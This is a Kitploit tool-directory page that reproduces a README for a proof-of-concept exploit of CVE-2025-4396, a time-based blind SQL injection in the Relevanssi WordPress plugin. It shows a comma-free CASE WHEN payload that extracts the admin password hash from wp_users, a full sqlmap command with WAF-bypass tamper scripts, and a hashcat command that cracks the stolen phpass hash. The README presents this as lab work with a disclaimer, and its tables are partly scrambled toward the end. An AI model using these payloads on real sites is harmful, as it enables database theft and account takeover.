Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4396 — CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection | Kitploit
Tools/GitHubGitHub/sup3rdav3/cve-2025-4396
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubsup3rdav3/cve-2025-4396

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-4396 — Relevanssi SQL Injection (Time-Based Blind)

Disclaimer: This repository is intended for authorized penetration testing, security research, and educational purposes only. Unauthorized access to computer systems is illegal and unethical.


Overview

A proof-of-concept exploit for a time-based blind SQL injection vulnerability in the Relevanssi 4.24.4 WordPress plugin. This implementation specifically addresses hardened environments where:

  • Commas are filtered — breaking standard SUBSTR(str, pos, len) and IF(cond, true, false) syntax
  • Greedy sleep behavior occurs — causing MySQL to execute SLEEP() before evaluating the full expression, producing false positives

Background

In certain environments (e.g., the DVWP lab), standard SQL injection payloads fail for two key reasons:

ProblemEffect
Comma strippingBreaks SUBSTR(str, pos, len) and IF(cond, true, false)
Greedy SLEEP()MySQL evaluates sleep before the full boolean expression, causing false positives

Both issues require targeted workarounds — covered by the manual and automated approaches below.


Manual Exploit (asy.py)

An asynchronous Python script providing surgical character-by-character extraction. Avoids automated tool overhead and bypasses comma filtering via CASE WHEN logic.

Features

FeatureImplementation
Async I/Oaiohttp for non-blocking requests
Comma-less payloads

Core Injection Logic

root@kitploit:~
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"

Why CASE WHEN instead of IF()? IF() uses commas and is subject to greedy evaluation. CASE WHEN evaluates lazily, ensuring SLEEP() is only triggered when the condition is genuinely TRUE.


Automated Exploit (SQLMap)

SQLMap can automate discovery in this environment using specific tamper scripts and flags.

Command

root@kitploit:~
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
  --tamper=commalessmid,if2case,between \
  --technique=T \
  --dbms=MySQL \
  --no-cast \
  --batch \
  --threads=1 \
  --dbs

Flag Reference

Note on --threads=1: This is essential for reliable extraction. Multiple threads cause sleep delays to overlap, corrupting the binary search timing and producing garbled output.


Lab Findings

FieldValue
TargetWordPress table

Cracking the Hash

root@kitploit:~
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • Mode -m 400 targets phpass hashes
  • Attack -a 0 is a straight dictionary attack using rockyou.txt

References

  • Relevanssi Plugin — WordPress.org
  • SQLMap Tamper Scripts
  • OWASP: Blind SQL Injection
  • phpass — Password Hashing Framework
Download Tool
SUBSTR(str FROM pos FOR len) syntax
Non-greedy logicCASE WHEN ensures SLEEP() only fires on TRUE
FlagPurpose
--tamper=commalessmid,if2caseRewrites payloads into comma-free SQL; replaces IF() with CASE WHEN
--tamper=betweenReplaces > comparisons with BETWEEN for additional WAF bypass
--technique=TRestricts to time-based blind injection only
--no-castPrevents CAST() wrappers that introduce forbidden commas
--threads=1Ensures timing accuracy — concurrent requests cause overlapping sleep delays
wp_users
Useradmin (ID = 1)
Extracted HashREDACTED
Algorithmphpass (standard WordPress password hashing)